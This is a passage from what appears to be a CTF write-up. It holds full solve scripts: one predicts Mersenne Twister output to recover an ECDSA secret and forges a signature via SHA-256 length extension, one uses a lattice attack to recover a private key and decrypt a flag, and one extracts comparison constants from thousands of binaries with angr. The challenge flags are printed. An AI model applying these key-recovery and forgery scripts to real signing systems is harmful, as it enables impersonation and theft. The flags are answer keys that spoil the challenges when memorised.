    return (num * inv_mod(den, n)) % n

def z_from_sig(r, s, k, secret):
    return (s * (k % n) - (r % n) * secret) % n

# ============================================================
# Main
# ============================================================
def main():
    context.log_level = LOG_LEVEL

    io = remote(HOST, PORT)
    recv_until_option_prompt(io)

    # 1) Collect tickets
    log.info(f"Collecting {TICKETS} tickets...")
    tickets = []
    for i in range(TICKETS):
        y = get_ticket(io)
        tickets.append(y)
        recv_until_option_prompt(io)
        if (i + 1) % 10 == 0:
            log.info(f"Collected {i+1}/{TICKETS} tickets")

    # 2) Solve symbolic system
    log.info("Recovering MT19937 state via GF(2) linear algebra...")
    state_words = recover_mt_state_from_tickets(tickets)
    log.success("Recovered candidate MT state words (624).")

    # 3) Validate with our own CPython-compatible predictor
    pred = MT19937Predictor(state_words, idx=624)

    # Compare all tickets while advancing predictor (keeps alignment)
    for i, y in enumerate(tickets):
        yy = pred.ticket()
        if yy != y:
            log.failure(f"[ALIGN] mismatch at ticket {i}: predicted={yy} observed={y}")
            # extra debug: dump the 10 words used by our predictor for this ticket
            # (replay by reconstructing a fresh predictor to that point)
            dbg = MT19937Predictor(state_words, idx=624)
            for _ in range(i):
                dbg.ticket()
            words = [dbg.genrand_uint32() for _ in range(10)]
            log.failure("[ALIGN] 10x u32 words used:")
            for j,w in enumerate(words):
                log.failure(f"  w{j} = 0x{w:08x}")
            raise SystemExit("Alignment failed. Paste the 10 words above to me.")
    log.success("[ALIGN] predictor tickets match ALL collected tickets. RNG state now aligned after tickets.")

    # 4) Now pred is aligned with server RNG AFTER ticket collection.
    # Get 2 signatures on same benign msg, predict k via pred.getrandbits(255)
    msg_same = b"hello_doggo"
    log.info("Requesting 2 signatures on same message to recover secret...")

    r1,s1 = sign_msg(io, msg_same); recv_until_option_prompt(io)
    k1 = pred.getrandbits(255)
    log.info(f"[sig1] r={hex(r1)} s={hex(s1)} k_pred(bitlen)={k1.bit_length()}")

    r2,s2 = sign_msg(io, msg_same); recv_until_option_prompt(io)
    k2 = pred.getrandbits(255)
    log.info(f"[sig2] r={hex(r2)} s={hex(s2)} k_pred(bitlen)={k2.bit_length()}")

    secret = recover_secret_from_two_sigs_same_msg(r1,s1,k1, r2,s2,k2)
    log.success(f"Recovered secret = {hex(secret)}")

    # 5) Get one signature to recover z = sha256(salt||base) mod n
    base = b"base_msg_for_lenext"
    log.info("Getting one signature to recover z0 (sha256(salt||base) mod n)...")
    r0,s0 = sign_msg(io, base); recv_until_option_prompt(io)
    k0 = pred.getrandbits(255)
    z0 = z_from_sig(r0, s0, k0, secret)
    log.info(f"z0(mod n) = {hex(z0)}")

    # z0 is digest mod n; digest is 256-bit; candidates: z0 or z0+n (rare)
    delta = (1 << 256) - n
    candidates = [z0]
    if z0 < delta:
        candidates.append(z0 + n)
        log.warning("Ambiguous digest: trying z0 and z0+n")

    extra = b"i_am_the_king_of_the_dog"
    orig_len = 64 + len(base)
    glue = sha256_padding(orig_len)
    prev_len = orig_len + len(glue)
    assert prev_len % 64 == 0

    for ci, dig_int in enumerate(candidates):
        digest0 = dig_int.to_bytes(32, "big")
        log.info(f"[LENEXT] trying candidate {ci+1}/{len(candidates)} digest0={digest0.hex()}")

        digest_ext = sha256_continue_from_digest(digest0, extra, prev_len)
        z_target = int.from_bytes(digest_ext, "big") % n

        forged_msg = base + glue + extra
        log.info(f"[LENEXT] forged_msg_len={len(forged_msg)} z_target(mod n)={hex(z_target)}")

        # Forge ECDSA signature with recovered secret
        k_forced = (pyr.getrandbits(256) % (n-1)) + 1
        Rpt = k_forced * G
        rF = int(Rpt.x)              # send raw x (matches challenge)
        sF = ((z_target + (rF % n) * secret) * inv_mod(k_forced, n)) % n

        log.info(f"[FORGE] r={hex(rF)}")
        log.info(f"[FORGE] s={hex(sF)}")

        out = verify_msg(io, rF, sF, forged_msg)
        log.info(f"[server] {out!r}")

        if b"\xf0\x9f\x91\x8d" in out:  # 👍
            rest = io.recvrepeat(1.0)
            if rest:
                print(rest.decode(errors="ignore"))
            break

    io.close()

if __name__ == "__main__":
    main()

https://chatgpt.com/share/6946143e-5fcc-8008-b660-e8cea29b7655

Flag

EOF{once_a_wise_dog_said_:hi.but_he_didn’t_know_why:D}

Still Not Random

After giving the result of the script back to GPT a few iteration, got flag.

Final Solve Script

#!/usr/bin/env sage -python
from sage.all import *
import hmac
from hashlib import sha256
from Crypto.Cipher import AES
from sage.modules.free_module_integer import IntegerLattice

# ============================================================
# 0) Problem constants
# ============================================================

msgs = [
    b"https://www.youtube.com/watch?v=LaX6EIkk_pQ",
    b"https://www.youtube.com/watch?v=wK4wA0aKvg8",
    b"https://www.youtube.com/watch?v=iq90nHs3Gbs",
    b"https://www.youtube.com/watch?v=zTKADhU__sw",
]

sigs = [
    (317707421133410288073354603009480426136391906002873302709570879761947103070512898051132583840618463139472027601216698251294206460344755339051109898589809987983731707077909099505833365567522347006453766545663380230105595126817790425,
     25185752159924706126981435669717936861361993674900106138337831137838509453749313533989197233649309651483579988978205),
    (417548456675579988606680466439690234874946492911623920447331037240230655879606626325624623314611471522814787475988129078726743347417903386362824681134780863810523742180718053363084828145812067731683272119151061828749117659255650820,
     27618563118772187320593702066291845973666620541831283288991142064228070314197536489147588491763843793593821643513457),
    (703771273054730080235579285501232710659154148145979519264450072512823561624248636822569827736905476306443746390214567198923437156846958456303186787370323078966806939434118158768394748234214487029382926999880135374613932395712372460,
     27052092405825396792237011211691900251888872753276208811631357208317438773416505653305767076226992282260977625878007),
    (821717323558426535455119744526279609022144869806906586662554363968363839151910768914318502227461974453838258550953434850776924606792184210954238562503515009237179979646111655773804054528212491391076376250546737439142144165942539844,
     28870411728276849847003745583242490365442899058004875752358198407125701328587711166784961247940279464305857022011977),
]

ct = b'iXm\x982\xc5\xf23\x85\x88\x91\x0c\x7f\xdc\x1b,\x1b\x82\x9d\xcd\x00 BWn\xad\n\xc3`\xe7\x8e\xfc`%\x9cQ\x12E\x97\x97\xa5\xd5t\x8b\x87v\xb4\xcf\x8d'

# ============================================================
# 1) NIST P-384 parameters (no fastecdsa)
# ============================================================

p = int("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFF0000000000000000FFFFFFFF", 16)
a = int("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFF0000000000000000FFFFFFFC", 16)  # -3 mod p
b = int("B3312FA7E23EE7E4988E056BE3F82D19181D9C6EFE8141120314088F5013875AC656398D8A2ED19D2A85C8EDD3EC2AEF", 16)
Gx = int("AA87CA22BE8B05378EB1C71EF320AD746E1D3B628BA79B9859F741E082542A385502F25DBF55296C3A545E3872760AB7", 16)
Gy = int("3617DE4A96262C6F5D9E98BF9292DC29F8F41DBD289A147CE9DA3113B5F0B8C00A60B1CE1D7E819D7A431D7C90EA0E5F", 16)
q = int("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC7634D81F4372DDF581A0DB248B0A77AECEC196ACCC52973", 16)

Fp = GF(p)
E = EllipticCurve(Fp, [a, b])
G = E(Gx, Gy)
assert (q * G).is_zero(), "Generator order mismatch; P-384 params wrong?"

print("[+] Using Sage EllipticCurve P-384 (no fastecdsa)")
print("    p bits =", p.bit_length())
print("    q bits =", q.bit_length())
print("    G order check ok")

# ============================================================
# 2) Helpers
# ============================================================

def hmac_sha256(key: bytes, msg: bytes) -> bytes:
    return hmac.new(key, msg, sha256).digest()

def signed_mod(x: int, m: int) -> int:
    x %= m
    if x > m // 2:
        x -= m
    return x

def p2i_xy(xi: int, yi: int) -> int:
    return xi * p + yi

# ============================================================
# 3) Recompute e_i correctly (rbytes BIG-endian confirmed) & reconstruct R
# ============================================================

Rs, Ss, Es, Rpts = [], [], [], []
for idx, ((r, s), msg) in enumerate(zip(sigs, msgs)):
    r = int(r); s = int(s)
    x = r // p
    y = r % p
    R = E(Fp(x), Fp(y))
    rbytes = int(r).to_bytes(1337, "big")
    e = int.from_bytes(hmac_sha256(rbytes, msg), "big") % q

    Rs.append(r); Ss.append(s); Es.append(e); Rpts.append(R)

    print(f"\n[+] sig[{idx}]")
    print("    r bits =", r.bit_length())
    print("    s bits =", s.bit_length())
    print("    e bits =", int(e).bit_length())
    print("    R on curve =", (R in E))

# ============================================================
# 4) Recover PK and check consistency
# ============================================================

PKs = []
for i in range(4):
    e = Integer(Es[i])
    s = Integer(Ss[i])
    inv_e = inverse_mod(e, q)
    PK = (s * G - Rpts[i]) * inv_e
    PKs.append(PK)

ok = all(PKs[i] == PKs[0] for i in range(1, 4))
print("\n[+] PK consistent across 4 sigs?", ok)
print("    PK.x =", int(PKs[0][0]))
print("    PK.y =", int(PKs[0][1]))
if not ok:
    raise SystemExit("[-] PK mismatch (should not happen if e is correct)")

# ============================================================
# 5) Build HNP/CVP in Z^3 from differences vs sig[0]
# ============================================================

a_signed = []
b_signed = []
a_mod = []

for i in range(1, 4):
    a_s = signed_mod(int(Es[i]) - int(Es[0]), q)
    b_s = signed_mod(int(Ss[i]) - int(Ss[0]), q)
    a_signed.append(a_s)
    b_signed.append(b_s)

    a_m = (int(Es[i]) - int(Es[0])) % q
    a_mod.append(a_m)

print("\n[+] Differences vs sig[0]:")
for i in range(3):
    print(f"    i={i+1}: a_signed bits~{abs(a_signed[i]).bit_length()}  b_signed bits~{abs(b_signed[i]).bit_length()}")

# Lattice Λ = < (q,0,0), (0,q,0), (0,0,q), (a1,a2,a3) >
B = Matrix(ZZ, [
    [q, 0, 0],
    [0, q, 0],
    [0, 0, q],
    [a_signed[0], a_signed[1], a_signed[2]],
])

# Reduce to 3x3 basis
H = B.hermite_form()
basis_rows = [row for row in H.rows() if row != vector(ZZ, [0, 0, 0])]
B3 = Matrix(ZZ, basis_rows)
if B3.nrows() != 3 or B3.ncols() != 3:
    print("\n[-] Unexpected HNF basis shape:", B3.nrows(), "x", B3.ncols())
    print("HNF=\n", H)
    raise SystemExit(1)

print("\n[+] HNF basis (3x3):")
print(B3)

Bred = B3.LLL()
print("\n[+] LLL-reduced basis:")
print(Bred)

tgt = vector(ZZ, b_signed)

# ============================================================
# 6) Get one near solution via IntegerLattice.closest_vector (Babai-ish)
# ============================================================

L = IntegerLattice(Bred)  # row-basis lattice in Z^3
y0 = L.closest_vector(tgt)
delta0 = tgt - y0

print("\n[+] closest_vector (Babai-ish) y0:")
print("    y0     =", y0)
print("    delta0 =", delta0)
print("    |delta0|_inf =", max(abs(int(delta0[i])) for i in range(3)))
print("    |delta0|_2   =", sqrt(sum(int(delta0[i])**2 for i in range(3))))

# Column basis A = Bred^T so that y = A*z
Acol = Matrix(ZZ, Bred).transpose()
z0 = vector(ZZ, Acol.solve_right(vector(ZZ, y0)))
print("\n[+] z0 such that Acol*z0 = y0:")
print("    z0 =", z0)

# ============================================================
# 7) Full deterministic signature recomputation
# ============================================================

def sign_det(sk_int: int, msg: bytes):
    key = sha256(str(sk_int).encode()).digest()
    k_raw = key + hmac.new(key, msg, sha256).digest()
    k = int.from_bytes(k_raw, "big") % q

    R = Integer(k) * G
    rx, ry = int(R[0]), int(R[1])
    r = p2i_xy(rx, ry)

    rbytes = int(r).to_bytes(1337, "big")
    e = int.from_bytes(hmac.new(rbytes, msg, sha256).digest(), "big") % q

    s = (k + (sk_int * e)) % q
    return r, s

def verify_sk_full(sk_int: int) -> bool:
    for (r_obs, s_obs), msg in zip(sigs, msgs):
        r2, s2 = sign_det(sk_int, msg)
        if r2 != int(r_obs) or s2 != int(s_obs):
            return False
    return True

def sk_from_lattice_vec(yvec: vector):
    inv0 = int(inverse_mod(a_mod[0], q))
    inv1 = int(inverse_mod(a_mod[1], q))
    inv2 = int(inverse_mod(a_mod[2], q))

    sk0 = (int(yvec[0]) % q) * inv0 % q
    sk1 = (int(yvec[1]) % q) * inv1 % q
    sk2 = (int(yvec[2]) % q) * inv2 % q

    if sk0 == sk1 == sk2:
        return sk0
    return None

# ============================================================
# 8) Enumerate neighbors around z0 and verify
# ============================================================

Rcube = 16  # if still fails, try 20 or 24
TryN = 20000

print(f"\n[+] Enumerating z in cube [-{Rcube},{Rcube}]^3 around z0 ...")
cands = []
for dx in range(-Rcube, Rcube + 1):
    for dy in range(-Rcube, Rcube + 1):
        for dz in range(-Rcube, Rcube + 1):
            z = z0 + vector(ZZ, [dx, dy, dz])
            y = Acol * z
            d = tgt - y
            linf = max(abs(int(d[i])) for i in range(3))
            l2 = int(d[0])**2 + int(d[1])**2 + int(d[2])**2
            cands.append((linf, l2, z, y))

cands.sort(key=lambda t: (t[0], t[1]))

print("[+] Top 10 candidates by (|delta|_inf, |delta|_2^2):")
for i in range(10):
    linf, l2, z, y = cands[i]
    print(f"    {i}: linf={linf} l2={l2} z={z}")

print(f"[+] Trying first {min(TryN,len(cands))} candidates with full signature verification...")
sk = None
for idx, (linf, l2, z, y) in enumerate(cands[:TryN]):
    skcand = sk_from_lattice_vec(y)
    if skcand is None:
        continue
    if verify_sk_full(skcand):
        sk = skcand
        print(f"[+] Found valid sk at rank={idx} linf={linf} l2={l2}")
        break

if sk is None:
    print("[-] No valid sk found.")
    print("    -> increase Rcube (20/24/28) and/or TryN.")
    raise SystemExit(3)

print("\n[+] RECOVERED sk =", sk)
print("    sk bits =", int(sk).bit_length())

# ============================================================
# 9) Decrypt flag
# ============================================================

k128 = int(sk) & ((1 << 128) - 1)
key_be = k128.to_bytes(16, "big")
key_le = k128.to_bytes(16, "little")
print("\n[+] AES key candidates:")
print("    key_be =", key_be.hex())
print("    key_le =", key_le.hex())

def try_ctr_decrypt(key: bytes):
    for nonce_len in range(0, 16):
        nonce = ct[:nonce_len]
        body = ct[nonce_len:]
        try:
            cipher = AES.new(key, AES.MODE_CTR, nonce=nonce)
            pt = cipher.decrypt(body)
        except Exception:
            continue
        if pt.startswith(b"EOF{"):
            return nonce_len, pt
    return None, None

res_be = try_ctr_decrypt(key_be)
res_le = try_ctr_decrypt(key_le)

print("\n[+] Decryption scan results:")
print("    BE:", res_be[0], res_be[1])
print("    LE:", res_le[0], res_le[1])

if res_be[1] is not None:
    print("\n[+] FLAG =", res_be[1].decode(errors="replace"))
elif res_le[1] is not None:
    print("\n[+] FLAG =", res_le[1].decode(errors="replace"))
else:
    print("\n[-] Failed to find EOF{ with nonce_len 0..15 for either endian key.")
    print("    Debug plaintext heads for likely nonce lens:")
    for nonce_len in [8, 12, 16]:
        if nonce_len <= len(ct):
            for name, key in [("BE", key_be), ("LE", key_le)]:
                try:
                    cipher = AES.new(key, AES.MODE_CTR, nonce=ct[:nonce_len])
                    pt = cipher.decrypt(ct[nonce_len:])
                    print(f"    {name} nonce_len={nonce_len} pt_head={pt[:40]!r}")
                except Exception as ex:
                    print(f"    {name} nonce_len={nonce_len} error={ex}")

https://chatgpt.com/share/69462076-2694-8008-938e-0571d07b3ec3

Flag

EOF{just_some_small_bruteforce_after_LLL}

Structured - Large

The problem provides 25137 binarys, all takes the bytes of arg1 and compares to a target value, only the compare part (second to last block) is slightly different, ask GPT to extract the value from all binary of each type, then the output image is a png image with flag on it.

int32_t main(int32_t argc, char** argv, char** envp)

{
    int32_t result = 1;
    
    if (argc > 1)
    {
        char* i = argv[1];
        int64_t rdx = 0;
        
        do
        {
            uint64_t rax = (uint64_t)*(uint8_t*)i;
            
            if (!rax)
                break;
            
            i = &i[1];
            rdx = rdx << 8 | rax;
        } while (i != &i[8]);
        
        result = RORQ(rdx, 2);
    }
    
    return result;
}

image

Final Solve Script

#!/usr/bin/env python3
import os
import sys
import multiprocessing as mp
from typing import Optional, Tuple, List

import angr


# -----------------------------
# main() addr finder
# -----------------------------
def find_main_addr(proj: angr.Project) -> int:
    sym = proj.loader.find_symbol("main")
    if sym is not None:
        return sym.rebased_addr

    cfg = proj.analyses.CFGFast(normalize=True, data_references=True)
    f = cfg.kb.functions.function(name="main")
    if f is not None:
        return f.addr

    # Fallback: _start -> __libc_start_main, main passed in RDI
    start_addr = proj.entry
    blk = proj.factory.block(start_addr, size=0x600)
    insns = blk.capstone.insns

    rdi_val = None
    for ins in insns:
        mnem = ins.mnemonic
        ops = ins.operands

        if mnem == "lea" and len(ops) == 2:
            try:
                if ins.reg_name(ops[0].reg) == "rdi":
                    s = ins.op_str.replace(" ", "")
                    if s.startswith("rdi,[rip+"):
                        disp_hex = s.split("rdi,[rip+")[1].split("]")[0]
                        disp = int(disp_hex, 16)
                        rdi_val = ins.address + ins.size + disp
            except Exception:
                pass

        if mnem == "mov" and len(ops) == 2:
            try:
                if ins.reg_name(ops[0].reg) == "rdi" and ops[1].type == 2:  # IMM
                    rdi_val = ops[1].imm
            except Exception:
                pass

        if mnem == "call" and len(ops) == 1:
            tgt = None
            try:
                if ops[0].type == 2:  # IMM
                    tgt = ops[0].imm
            except Exception:
                pass
            if tgt is None:
                continue

            stub = proj.loader.find_plt_stub_name(tgt)
            if stub and "libc_start_main" in stub:
                if rdi_val is None:
                    raise RuntimeError("Found __libc_start_main call but couldn't recover RDI(main).")
                return proj.loader.main_object.addr_to_rebased_addr(rdi_val)

    raise RuntimeError("Could not locate main.")


def _norm(s: str) -> str:
    return s.replace(" ", "").lower()


# -----------------------------
# 64-bit helpers
# -----------------------------
MASK64 = (1 << 64) - 1


def rol64(x: int, r: int) -> int:
    r &= 63
    x &= MASK64
    if r == 0:
        return x
    return ((x << r) | (x >> (64 - r))) & MASK64


def ror64(x: int, r: int) -> int:
    r &= 63
    x &= MASK64
    if r == 0:
        return x
    return ((x >> r) | (x << (64 - r))) & MASK64


def bswap64(x: int) -> int:
    x &= MASK64
    return int.from_bytes(x.to_bytes(8, "big", signed=False)[::-1], "big", signed=False)


# -----------------------------
# Operand helpers
# -----------------------------
def _is_reg(ins, op_idx: int, regname: str) -> bool:
    try:
        if len(ins.operands) <= op_idx:
            return False
        op = ins.operands[op_idx]
        if op.type != 1:  # REG
            return False
        return ins.reg_name(op.reg) == regname
    except Exception:
        return False


def _is_imm(ins, op_idx: int) -> bool:
    try:
        if len(ins.operands) <= op_idx:
            return False
        return ins.operands[op_idx].type == 2  # IMM
    except Exception:
        return False


def _imm_from_mov(ins) -> Optional[int]:
    # supports mov/movabs into rax/eax
    try:
        if len(ins.operands) == 2 and ins.operands[1].type == 2:  # IMM
            return int(ins.operands[1].imm)
    except Exception:
        pass
    try:
        s = _norm(ins.op_str)
        if s.startswith("rax,"):
            return int(s.split("rax,")[1], 0)
        if s.startswith("eax,"):
            return int(s.split("eax,")[1], 0)
    except Exception:
        pass
    return None


def _imm_from_cmp_rhs(ins, lhs_reg: str) -> Optional[int]:
    # cmp <lhs_reg>, IMM
    try:
        if len(ins.operands) == 2 and ins.operands[0].type == 1 and ins.operands[1].type == 2:
            if ins.reg_name(ins.operands[0].reg) == lhs_reg:
                return int(ins.operands[1].imm)
    except Exception:
        pass
    try:
        s = _norm(ins.op_str)
        if s.startswith(lhs_reg + ","):
            return int(s.split(lhs_reg + ",")[1], 0)
    except Exception:
        pass
    return None


def _imm_from_rot(ins) -> Optional[int]:
    # ror/rol rdx, imm
    try:
        if len(ins.operands) == 2 and ins.operands[1].type == 2:
            return int(ins.operands[1].imm)
    except Exception:
        pass
    # fallback from text
    try:
        s = _norm(ins.op_str)
        if "," in s:
            return int(s.split(",")[1], 0)
    except Exception:
        pass
    return None


# -----------------------------
# Types 1..9 + 11 matchers
# Return: (matched, value, typename)
# NOTE: within a block, choose the LAST match to avoid loop cmp noise.
# -----------------------------
def try_type1(insns):
    # mov/movabs rax, imm64 ; cmp rcx, rax ; setne al ; movzx eax, al
    best = None
    for i in range(0, max(0, len(insns) - 3)):
        a, b, c, d = insns[i:i + 4]

        if a.mnemonic not in ("mov", "movabs"):
            continue
        if not (_is_reg(a, 0, "rax") and _is_imm(a, 1)):
            continue
        imm = _imm_from_mov(a)
        if imm is None:
            continue

        if b.mnemonic != "cmp" or not (_is_reg(b, 0, "rcx") and _is_reg(b, 1, "rax")):
            continue
        if c.mnemonic != "setne" or _norm(c.op_str) != "al":
            continue
        if d.mnemonic != "movzx" or _norm(d.op_str) != "eax,al":
            continue

        best = (True, imm & MASK64, "TYPE1")
    return best if best is not None else (False, None, "TYPE1")


def try_type2(insns):
    # mov/movabs rax, IMM ; ror rdx, k ; cmp rdx, rax ; setne al ; movzx eax, al
    # WANT: pre-rotation rdx => pre = rol64(IMM, k)
    best = None
    for i in range(0, max(0, len(insns) - 4)):
        a, b, c, d, e = insns[i:i + 5]

        if a.mnemonic not in ("mov", "movabs"):
            continue
        if not (_is_reg(a, 0, "rax") and _is_imm(a, 1)):
            continue
        imm = _imm_from_mov(a)
        if imm is None:
            continue

        if b.mnemonic != "ror" or not (_is_reg(b, 0, "rdx") and _is_imm(b, 1)):
            continue
        k = _imm_from_rot(b)
        if k is None:
            continue

        if c.mnemonic != "cmp" or not (_is_reg(c, 0, "rdx") and _is_reg(c, 1, "rax")):
            continue
        if d.mnemonic != "setne" or _norm(d.op_str) != "al":
            continue
        if e.mnemonic != "movzx" or _norm(e.op_str) != "eax,al":
            continue

        pre = rol64(int(imm), int(k))
        best = (True, pre, "TYPE2")
    return best if best is not None else (False, None, "TYPE2")


def try_type3(insns):
    # xor eax,eax ; cmp rcx, IMM ; setne al
    best = None
    for i in range(0, max(0, len(insns) - 2)):
        a, b, c = insns[i:i + 3]
        if a.mnemonic != "xor" or _norm(a.op_str) not in ("eax,eax", "rax,rax"):
            continue
        if b.mnemonic != "cmp":
            continue
        imm = _imm_from_cmp_rhs(b, "rcx")
        if imm is None:
            continue
        if c.mnemonic != "setne" or _norm(c.op_str) != "al":
            continue
        best = (True, int(imm) & MASK64, "TYPE3")
    return best if best is not None else (False, None, "TYPE3")


def try_type4(insns):
    # xor eax,eax ; bswap rdx ; cmp rdx, IMM ; setne al
    # WANT: pre-bswap rdx => pre = bswap64(IMM)
    best = None
    for i in range(0, max(0, len(insns) - 3)):
        a, b, c, d = insns[i:i + 4]
        if a.mnemonic != "xor" or _norm(a.op_str) not in ("eax,eax", "rax,rax"):
            continue
        if b.mnemonic != "bswap" or not _is_reg(b, 0, "rdx"):
            continue
        if c.mnemonic != "cmp":
            continue
        imm = _imm_from_cmp_rhs(c, "rdx")
        if imm is None:
            continue
        if d.mnemonic != "setne" or _norm(d.op_str) != "al":
            continue
        pre = bswap64(int(imm))
        best = (True, pre, "TYPE4")
    return best if best is not None else (False, None, "TYPE4")


def try_type5(insns):
    # ror rdx, k ; xor eax,eax ; cmp rdx, IMM ; setne al
    # WANT: pre-rotation rdx => pre = rol64(IMM, k)
    best = None
    for i in range(0, max(0, len(insns) - 3)):
        a, b, c, d = insns[i:i + 4]
        if a.mnemonic != "ror" or not (_is_reg(a, 0, "rdx") and _is_imm(a, 1)):
            continue
        k = _imm_from_rot(a)
        if k is None:
            continue
        if b.mnemonic != "xor" or _norm(b.op_str) not in ("eax,eax", "rax,rax"):
            continue
        if c.mnemonic != "cmp":
            continue
        imm = _imm_from_cmp_rhs(c, "rdx")
        if imm is None:
            continue
        if d.mnemonic != "setne" or _norm(d.op_str) != "al":
            continue
        pre = rol64(int(imm), int(k))
        best = (True, pre, "TYPE5")
    return best if best is not None else (False, None, "TYPE5")


def try_type6(insns):
    # rol rdx, k ; xor eax,eax ; cmp rdx, IMM ; setne al
    # WANT: pre-rotation rdx => pre = ror64(IMM, k)
    best = None
    for i in range(0, max(0, len(insns) - 3)):
        a, b, c, d = insns[i:i + 4]
        if a.mnemonic != "rol" or not (_is_reg(a, 0, "rdx") and _is_imm(a, 1)):
            continue
        k = _imm_from_rot(a)
        if k is None:
            continue
        if b.mnemonic != "xor" or _norm(b.op_str) not in ("eax,eax", "rax,rax"):
            continue
        if c.mnemonic != "cmp":
            continue
        imm = _imm_from_cmp_rhs(c, "rdx")
        if imm is None:
            continue
        if d.mnemonic != "setne" or _norm(d.op_str) != "al":
            continue
        pre = ror64(int(imm), int(k))
        best = (True, pre, "TYPE6")
    return best if best is not None else (False, None, "TYPE6")


def try_type7(insns):
    # xor eax,eax ; test rcx,rcx ; setne al  => value 0
    best = None
    for i in range(0, max(0, len(insns) - 2)):
        a, b, c = insns[i:i + 3]
        if a.mnemonic != "xor" or _norm(a.op_str) not in ("eax,eax", "rax,rax"):
            continue
        if b.mnemonic != "test" or not (_is_reg(b, 0, "rcx") and _is_reg(b, 1, "rcx")):
            continue
        if c.mnemonic != "setne" or _norm(c.op_str) != "al":
            continue
        best = (True, 0, "TYPE7")
    return best if best is not None else (False, None, "TYPE7")


def try_type8(insns):
    # ror rdx, k ; xor eax,eax ; test rdx,rdx ; setne al
    # pass requires rdx==0 after ror => pre is also 0
    best = None
    for i in range(0, max(0, len(insns) - 3)):
        a, b, c, d = insns[i:i + 4]
        if a.mnemonic != "ror" or not (_is_reg(a, 0, "rdx") and _is_imm(a, 1)):
            continue
        if b.mnemonic != "xor" or _norm(b.op_str) not in ("eax,eax", "rax,rax"):
            continue
        if c.mnemonic != "test" or not (_is_reg(c, 0, "rdx") and _is_reg(c, 1, "rdx")):
            continue
        if d.mnemonic != "setne" or _norm(d.op_str) != "al":
            continue
        best = (True, 0, "TYPE8")
    return best if best is not None else (False, None, "TYPE8")


def try_type9(insns):
    # mov eax, IMM ; cmp rcx, rax ; setne al ; movzx eax, al
    best = None
    for i in range(0, max(0, len(insns) - 3)):
        a, b, c, d = insns[i:i + 4]
        if a.mnemonic != "mov" or not (_is_reg(a, 0, "eax") and _is_imm(a, 1)):
            continue
        imm = _imm_from_mov(a)
        if imm is None:
            continue
        if b.mnemonic != "cmp" or not (_is_reg(b, 0, "rcx") and _is_reg(b, 1, "rax")):
            continue
        if c.mnemonic != "setne" or _norm(c.op_str) != "al":
            continue
        if d.mnemonic != "movzx" or _norm(d.op_str) != "eax,al":
            continue
        best = (True, int(imm) & MASK64, "TYPE9")
    return best if best is not None else (False, None, "TYPE9")


def try_type11(insns):
    # mov eax, IMM ; ror rdx, k ; cmp rdx, rax ; setne al ; movzx eax, al
    # WANT: pre-rotation rdx => pre = rol64(IMM, k)
    best = None
    for i in range(0, max(0, len(insns) - 4)):
        a, b, c, d, e = insns[i:i + 5]
        if a.mnemonic != "mov" or not (_is_reg(a, 0, "eax") and _is_imm(a, 1)):
            continue
        imm = _imm_from_mov(a)
        if imm is None:
            continue
        if b.mnemonic != "ror" or not (_is_reg(b, 0, "rdx") and _is_imm(b, 1)):
            continue
        k = _imm_from_rot(b)
        if k is None:
            continue
        if c.mnemonic != "cmp" or not (_is_reg(c, 0, "rdx") and _is_reg(c, 1, "rax")):
            continue
        if d.mnemonic != "setne" or _norm(d.op_str) != "al":
            continue
        if e.mnemonic != "movzx" or _norm(e.op_str) != "eax,al":
            continue
        pre = rol64(int(imm), int(k))
        best = (True, pre, "TYPE11")
    return best if best is not None else (False, None, "TYPE11")


MATCHERS = [
    try_type1,
    try_type2,
    try_type3,
    try_type4,
    try_type5,
    try_type6,
    try_type7,
    try_type8,
    try_type9,
    try_type11,
]


# -----------------------------
# Extract second-to-last block
# -----------------------------
def extract_second_to_last_block_insns(binpath: str):
    proj = angr.Project(binpath, auto_load_libs=False)
    main_addr = find_main_addr(proj)
    cfg = proj.analyses.CFGFast(normalize=True, data_references=True)
    f = cfg.kb.functions.get(main_addr, None) or proj.kb.functions.function(addr=main_addr)

    blocks = sorted(list(f.blocks), key=lambda b: b.addr)
    if len(blocks) < 2:
        return main_addr, None, []

    b = blocks[-2]
    return main_addr, b.addr, b.capstone.insns


def format_block(insns) -> str:
    return "\n".join(f"{ins.address:016x}  {ins.mnemonic:<7} {ins.op_str}" for ins in insns)


def pick_value_from_insns(insns) -> Tuple[bool, Optional[int], str]:
    for fn in MATCHERS:
        ok, val, tname = fn(insns)
        if ok:
            return True, int(val) & MASK64, tname
    return False, None, "MISMATCH"


# -----------------------------
# Cache I/O
# -----------------------------
def load_cache(path: str, total: int) -> Tuple[List[Optional[int]], List[str]]:
    vals: List[Optional[int]] = [None] * total
    types: List[str] = ["?"] * total
    if not os.path.exists(path):
        return vals, types

    with open(path, "r", encoding="utf-8", errors="ignore") as f:
        for line in f:
            line = line.strip()
            if not line:
                continue
            parts = line.split("\t")
            if len(parts) < 3:
                continue
            try:
                idx = int(parts[0])
            except Exception:
                continue
            if not (0 <= idx < total):
                continue

            tname = parts[1]
            vstr = parts[2]
            types[idx] = tname

            if tname == "MISMATCH" or vstr == "-":
                vals[idx] = None
                continue
            try:
                vals[idx] = int(vstr, 0) & MASK64
            except Exception:
                vals[idx] = None
                types[idx] = "MISMATCH"

    return vals, types


def save_cache(path: str, values: List[Optional[int]], types: List[str]) -> None:
    tmp = path + ".tmp"
    with open(tmp, "w", encoding="utf-8") as f:
        for i, v in enumerate(values):
            t = types[i] if i < len(types) else "?"
            if v is None:
                f.write(f"{i}\tMISMATCH\t-\n")
            else:
                f.write(f"{i}\t{t}\t{hex(int(v) & MASK64)}\n")
    os.replace(tmp, path)


# -----------------------------
# Worker
# -----------------------------
def worker(args):
    i, binpath = args
    try:
        _, _, insns = extract_second_to_last_block_insns(binpath)
        ok, val, tname = pick_value_from_insns(insns)
        if not ok:
            return (i, None, "MISMATCH", None)
        return (i, val, tname, None)
    except Exception as e:
        return (i, None, "MISMATCH", str(e))


# -----------------------------
# Main
# -----------------------------
def main():
    # Always loop through 0..25135 then append 0x82 at the end (special edge case).
    TOTAL_MAIN = 25136  # indices 0..25135
    BIN_DIR = "./bin"
    JOBS = max(1, os.cpu_count() or 1)

    CACHE_PATH = "out.cache.tsv"
    OUT_BIN = "out.bin"
    MISMATCH_TXT = "mismatch.txt"

    if len(sys.argv) >= 2:
        BIN_DIR = sys.argv[1]
    if len(sys.argv) >= 3:
